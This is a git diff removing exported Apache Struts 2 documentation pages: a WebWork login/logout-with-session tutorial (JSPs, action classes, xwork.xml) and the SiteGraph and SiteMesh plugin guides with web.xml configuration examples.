-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>SimpleLogin with Session</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="tutorials.html">Tutorials</a>&nbsp;&gt;&nbsp;<a href="examples.html">Examples</a>&nbsp;&gt;&nbsp;<a href="simplelogin-with-session.html">SimpleLogin with Session</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">SimpleLogin with Session</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14210">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14210">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14210">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14210">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14210">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14210">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-
-<p>I wrote this simple application to demostrate login/logout.</p>
-
-<p>/Login.jsp</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;%@ page language="java" contentType="text/html; charset=ISO-8859-1"
- pageEncoding="ISO-8859-1"%&gt;
-&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"&gt;
-&lt;html&gt;
-&lt;head&gt;
-&lt;meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"&gt;
-&lt;title&gt;Insert title here&lt;/title&gt;
-&lt;/head&gt;&lt;body&gt;
-&lt;form action="login.action" method="post"&gt;
-User id&lt;input type="text" name="userId" /&gt; &lt;br/&gt;
-Password &lt;input type="password" name="passwd" /&gt; &lt;br /&gt;
-&lt;input type="submit" value="Login"/&gt;
-&lt;/form&gt;
-&lt;/body&gt;
-
-&lt;/html&gt;
-</pre>
-</div></div>
-<p>&#160;</p>
-
-<p>&#160;</p>
-
-<p>/pages/welcome.jsp</p>
-
-<p>&#160;</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;%@ page language="java" contentType="text/html; charset=ISO-8859-1"
-    pageEncoding="ISO-8859-1"%&gt;
-&lt;%@ taglib prefix="ww" uri="/webwork" %&gt;
-&lt;jsp:include page="WEB-INF/inc/loginCheck.jsp" /&gt;
-&lt;html&gt;
-&lt;head&gt;
-&lt;meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"&gt;
-&lt;title&gt;Welcome&lt;/title&gt;
-&lt;/head&gt;
-
-&lt;body&gt;Welcome, you have logined. &lt;br /&gt;
-The attribute of 'context' in session is
-&lt;ww:property value="#session.context" /&gt;
-&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;
-&lt;a xhref="&lt;%= request.getContextPath() %&gt;/logout.action"&gt;Logout&lt;/a&gt;
-&lt;br /&gt;
-&lt;a xhref="&lt;%= request.getContextPath() %&gt;/logout2.action"&gt;Logout2&lt;/a&gt;
-&lt;/body&gt;
-&lt;/html&gt;
-</pre>
-</div></div>
-<p>&#160;</p>
-
-<p>&#160;</p>
-
-<p>/WEB-INF/inc/loginCheck.jsp</p>
-<div class="panel" style="border-width: 1px;"><div class="panelContent">
-<p>&#160;&lt;%@ taglib="/webwork" prefix="ww" %&gt;<br clear="none">
-&lt;ww:if test="#session.login != 'true'"&gt;<br clear="none">
-&lt;jsp:forward page="&lt;%= request.getContextPath() %&gt;/login.jsp" /&gt;<br clear="none">
-&lt;/ww:if&gt;</p>
-</div></div>
-<p>&#160;</p>
-
-<p>&#160;</p>
-
-<p>&#160;</p>
-
-<p>simple.LoginAction.java</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-package simple;
-import java.util.Date;import java.util.Map;
-
-import javax.servlet.http.HttpSession;
-
-import com.opensymphony.webwork.ServletActionContext;
-import com.opensymphony.xwork.ActionSupport;
-
-public class LoginAction extends ActionSupport {
-
-    private String userId;
-    private String passwd;
-
-    public String execute() throws Exception {
-        if ("admin".equals(userId) &amp;&amp; "password".equals(passwd)) {
-//            HttpSession session = ServletActionContext.getRequest().getSession();
-//            session.setAttribute("logined","true");
-//            session.setAttribute("context", new Date());
-// Better is using ActionContext 
-  Map session = ActionContext.getContext().getSession();
-session.put("logined","true");
-            session.put("context", new Date());
-            return SUCCESS;
-        }
-        return ERROR;
-    }
-
-    public String logout() throws Exception {
-//        HttpSession session = ServletActionContext.getRequest().getSession();
-//        session.removeAttribute("logined");
-//        session.removeAttribute("context"); 
- Map session = ActionContext.getContext().getSession();
- session.remove("logined");
-        session.remove("context");
-        return SUCCESS;
-    }
-
-    public String getPasswd() {
-        return passwd;
-    }
-
-    public void setPasswd(String passwd) {
-        this.passwd = passwd;
-    }
-
-    public String getUserId() {
-        return userId;
-    }
-
-    public void setUserId(String userId) {
-        this.userId = userId;
-    }
-}
-</pre>
-</div></div>
-<p>&#160;</p>
-
-<p>&#160;</p>
-
-<p>&#160;simple.LogoutAction.java</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-package simple;
-import java.util.Map;
-import javax.servlet.http.HttpSession;
-
-import com.opensymphony.webwork.ServletActionContext;
-import com.opensymphony.xwork.ActionSupport;
-
-public class LogoutAction extends ActionSupport {
-
-    public String execute() throws Exception { 
-     Map session = ActionContext.getContext().getSession();
-session.remove("logined"); 
-session.remove("context");
-        return SUCCESS;
-    }
-
-}
-</pre>
-</div></div>
-<p>&#160;</p>
-
-<p>&#160;</p>
-
-<p>&#160;/WEB-INF/classes/xwork.xml</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;!DOCTYPE xwork PUBLIC "-//OpenSymphony Group//XWork 1.1.1//EN" "http://www.opensymphony.com/xwork/xwork-1.1.1.dtd"&gt;
-
-&lt;xwork&gt;
-    &lt;include file="webwork-default.xml"/&gt;
-
-    &lt;package name="default" extends="webwork-default"&gt;
-        &lt;!-- Add your actions here --&gt;
-        &lt;action name="login" class="simple.LoginAction" &gt;
-            &lt;result name="success" type="dispatcher"&gt;/pages/welcome.jsp&lt;/result&gt;
-            &lt;result name="error" type="redirect"&gt;/login.jsp&lt;/result&gt;
-        &lt;/action&gt;
-
-        &lt;action name="logout2" class="simple.LoginAction" method="logout" &gt;
-            &lt;result name="success" type="redirect"&gt;/login.jsp&lt;/result&gt;
-        &lt;/action&gt;
-
-        &lt;action name="logout" class="simple.LogoutAction" &gt;
-            &lt;result name="success" type="redirect"&gt;/login.jsp&lt;/result&gt;
-        &lt;/action&gt;
-    &lt;/package&gt;
-&lt;/xwork&gt;
-</pre>
-</div></div>
-<p>&#160;</p>
-
-<p>&#160;</p>
-
-<p>&#160;</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/sitegraph-plugin.data/example.gif b/content/docs/sitegraph-plugin.data/example.gif
deleted file mode 100644
index 779fbcf..0000000
Binary files a/content/docs/sitegraph-plugin.data/example.gif and /dev/null differ
diff --git a/content/docs/sitegraph-plugin.html b/content/docs/sitegraph-plugin.html
deleted file mode 100644
index 8f269e4..0000000
--- a/content/docs/sitegraph-plugin.html
+++ /dev/null
@@ -1,143 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>SiteGraph Plugin</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="plugin-developers-guide.html">Plugin Developers Guide</a>&nbsp;&gt;&nbsp;<a href="sitegraph-plugin.html">SiteGraph Plugin</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">SiteGraph Plugin</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14137">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14137">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14137">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14137">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14137">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14137">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><rich-text-body><p>This plugin got marked as deprecated since Struts 2.5.11!</p></rich-text-body><p>&#160;</p><p>The SiteGraph plugin<parameter ac:name="atlassian-macro-output-type">INLINE</parameter><rich-text-body><p>generates graphical diagrams representing the flow of your web application</p></rich-text-body>.</p><p>SiteGraph works by parsing your configuration files, Action classes, and view files (JSP, Velocity, and FreeMarker), and displayin [...]
-     -config CONFIG_DIR
-     -views VIEWS_DIRS
-     -output OUTPUT
-     [-ns NAMESPACE]
-</plain-text-body><p>Where:<plain-text-body>{snippet:id=sitegraph-usage|lang=none|url=struts2/plugins/sitegraph/src/main/resources/org/apache/struts2/sitegraph/sitegraph-usage.txt}</plain-text-body></p><rich-text-body><p>You must either supply the correct classpath when invoking the SiteGraph tool or place the Sitegraph plugin in the same directory as the dependent jars. Specifically, the XWork jar, Struts jar, and their dependencies must be included in the classpath. Futhermore, <strong [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/sitegraph-plugin.thumbs/example.gif b/content/docs/sitegraph-plugin.thumbs/example.gif
deleted file mode 100644
index eb3e460..0000000
Binary files a/content/docs/sitegraph-plugin.thumbs/example.gif and /dev/null differ
diff --git a/content/docs/sitemesh-plugin.html b/content/docs/sitemesh-plugin.html
deleted file mode 100644
index f8b85e1..0000000
--- a/content/docs/sitemesh-plugin.html
+++ /dev/null
@@ -1,451 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>SiteMesh Plugin</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="plugin-developers-guide.html">Plugin Developers Guide</a>&nbsp;&gt;&nbsp;<a href="sitemesh-plugin.html">SiteMesh Plugin</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">SiteMesh Plugin</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14142">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14142">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14142">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14142">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14142">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14142">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-information"><p class="title">About SiteMesh</p><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p><a shape="rect" class="external-link" href="http://www.sitemesh.org/" rel="nofollow">SiteMesh</a> is a web-page layout and decoration framework and web application integration framework to aid in creating large sites consisting of many pages for which a consistent look/feel, navigation and layout scheme is required.</p></div></div>
-
-<p>The Sitemesh plugin allows Sitemesh templates to access framework resources.</p>
-
-<p>The framework stores all its value stack information as request attributes, meaning that if you wish to display data that is on the stack (or even the ActionContext), you can do so by using the normal tag libraries that come with the framework. That's it!</p>
-
-<h2 id="SiteMeshPlugin-Features">Features</h2>
-
-<ul><li>Can use Struts tags in Sitemesh decorator templates</li><li>Sitemesh decorators can be written in FreeMarker as well as Velocity and JSP</li></ul>
-
-
-<h2 id="SiteMeshPlugin-Usage">Usage</h2>
-
-<p>From 2.2+ the new <code>com.opensymphony.sitemesh.webapp.SiteMeshFilter</code> filter and Struts <code>org.apache.struts2.dispatcher.ng.listener.StrutsListener</code> context listener must be added to <code>web.xml</code>, like:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;filter&gt;
-    &lt;filter-name&gt;sitemesh&lt;/filter-name&gt;
-    &lt;filter-class&gt;com.opensymphony.sitemesh.webapp.SiteMeshFilter&lt;/filter-class&gt;
-&lt;/filter&gt; 
-...
-&lt;listener&gt;
-    &lt;listener-class&gt;org.apache.struts2.dispatcher.ng.listener.StrutsListener&lt;/listener-class&gt;
-&lt;/listener&gt; 
-</pre>
-</div></div>
-
-<h2 id="SiteMeshPlugin-FreeMarkerandVelocityDecorators">FreeMarker  and Velocity Decorators</h2>
-
-<p>The plugin provides an extension of the SiteMesh <a shape="rect" href="velocity.html">Velocity</a> and <a shape="rect" href="freemarker.html">FreeMarker</a> servlets. These servlets provide the standard variables and <a shape="rect" href="struts-tags.html">Struts Tags</a> that you used to create views in your favourite template language.</p>
-
-<h3 id="SiteMeshPlugin-FreeMarker">FreeMarker</h3>
-
-<p>From 2.2+ the recommended way to use Freemarker with Sitemesh is through the <code>org.apache.struts2.sitemesh.FreemarkerDecoratorServlet</code> servlet, which can be configured like this in <code>web.xml</code>:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;servlet&gt;
-    &lt;servlet-name&gt;sitemesh-freemarker&lt;/servlet-name&gt;
-    &lt;servlet-class&gt;org.apache.struts2.sitemesh.FreemarkerDecoratorServlet&lt;/servlet-class&gt;
-    &lt;init-param&gt;
- 	&lt;param-name&gt;default_encoding&lt;/param-name&gt;
- 	&lt;param-value&gt;UTF-8&lt;/param-value&gt;
-    &lt;/init-param&gt;
-    &lt;load-on-startup&gt;1&lt;/load-on-startup&gt;
-&lt;/servlet&gt; 
-
-&lt;servlet-mapping&gt;
-    &lt;servlet-name&gt;sitemesh-freemarker&lt;/servlet-name&gt;
-    &lt;url-pattern&gt;*.ftl&lt;/url-pattern&gt;
-&lt;/servlet-mapping&gt; 
-</pre>
-</div></div>
-
-<h3 id="SiteMeshPlugin-Velocity">Velocity</h3>
-
-<p>From 2.2+ the recommended way to use Velocity with Sitemesh is through the <code>org.apache.struts2.sitemesh.VelocityDecoratorServlet</code> servlet, which can be configured like this in <code>web.xml</code>:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;servlet&gt;
-    &lt;servlet-name&gt;sitemesh-freemarker&lt;/servlet-name&gt;
-    &lt;servlet-class&gt;org.apache.struts2.sitemesh.VelocityDecoratorServlet&lt;/servlet-class&gt;
-    &lt;init-param&gt;
- 	&lt;param-name&gt;default_encoding&lt;/param-name&gt;
- 	&lt;param-value&gt;UTF-8&lt;/param-value&gt;
-    &lt;/init-param&gt;
-    &lt;load-on-startup&gt;1&lt;/load-on-startup&gt;
-&lt;/servlet&gt; 
-
-&lt;servlet-mapping&gt;
-    &lt;servlet-name&gt;sitemesh-freemarker&lt;/servlet-name&gt;
-    &lt;url-pattern&gt;*.ftl&lt;/url-pattern&gt;
-&lt;/servlet-mapping&gt; 
-</pre>
-</div></div>
-
-<h3 id="SiteMeshPlugin-FullintegrationwithSiteMesh2+Freemarker2.4.2+Velocity1.3,includingStruts2Tags,ValueStack,andFreemarkerManagerstatics.">Full integration with SiteMesh 2 + Freemarker 2.4.2 + Velocity 1.3 , including Struts 2 Tags, ValueStack, and FreemarkerManager statics.</h3>
-
-<p>Such configuration is available as from Struts 2.2.0, please refer to <a shape="rect" class="external-link" href="https://issues.apache.org/jira/browse/WW-3296">WW-3296</a> for me details.</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-    &lt;filter&gt;
-        &lt;filter-name&gt;struts-prepare&lt;/filter-name&gt;
-        &lt;filter-class&gt;org.apache.struts2.dispatcher.ng.filter.StrutsPrepareFilter&lt;/filter-class&gt;
-    &lt;/filter&gt;
-
-    &lt;filter&gt;
-        &lt;filter-name&gt;sitemesh&lt;/filter-name&gt;
-        &lt;filter-class&gt;com.opensymphony.sitemesh.webapp.SiteMeshFilter&lt;/filter-class&gt;
-    &lt;/filter&gt;
-
-    &lt;filter&gt;
-        &lt;filter-name&gt;struts-execute&lt;/filter-name&gt;
-        &lt;filter-class&gt;org.apache.struts2.dispatcher.ng.filter.StrutsExecuteFilter&lt;/filter-class&gt;
-    &lt;/filter&gt;
-
-    &lt;filter-mapping&gt;
-        &lt;filter-name&gt;struts-prepare&lt;/filter-name&gt;
-        &lt;url-pattern&gt;/*&lt;/url-pattern&gt;
-    &lt;/filter-mapping&gt;
-
-    &lt;filter-mapping&gt;
-        &lt;filter-name&gt;sitemesh&lt;/filter-name&gt;
-        &lt;url-pattern&gt;/*&lt;/url-pattern&gt;
-        &lt;dispatcher&gt;REQUEST&lt;/dispatcher&gt;
-        &lt;dispatcher&gt;FORWARD&lt;/dispatcher&gt;
-        &lt;dispatcher&gt;INCLUDE&lt;/dispatcher&gt;
-    &lt;/filter-mapping&gt;
-
-    &lt;filter-mapping&gt;
-        &lt;filter-name&gt;struts-execute&lt;/filter-name&gt;
-        &lt;url-pattern&gt;/*&lt;/url-pattern&gt;
-    &lt;/filter-mapping&gt;
-
-    &lt;servlet&gt;
-        &lt;servlet-name&gt;sitemesh-freemarker&lt;/servlet-name&gt;
-        &lt;servlet-class&gt;org.apache.struts2.sitemesh.FreemarkerDecoratorServlet&lt;/servlet-class&gt;
-        &lt;init-param&gt;
-            &lt;param-name&gt;default_encoding&lt;/param-name&gt;
-            &lt;param-value&gt;UTF-8&lt;/param-value&gt;
-        &lt;/init-param&gt;
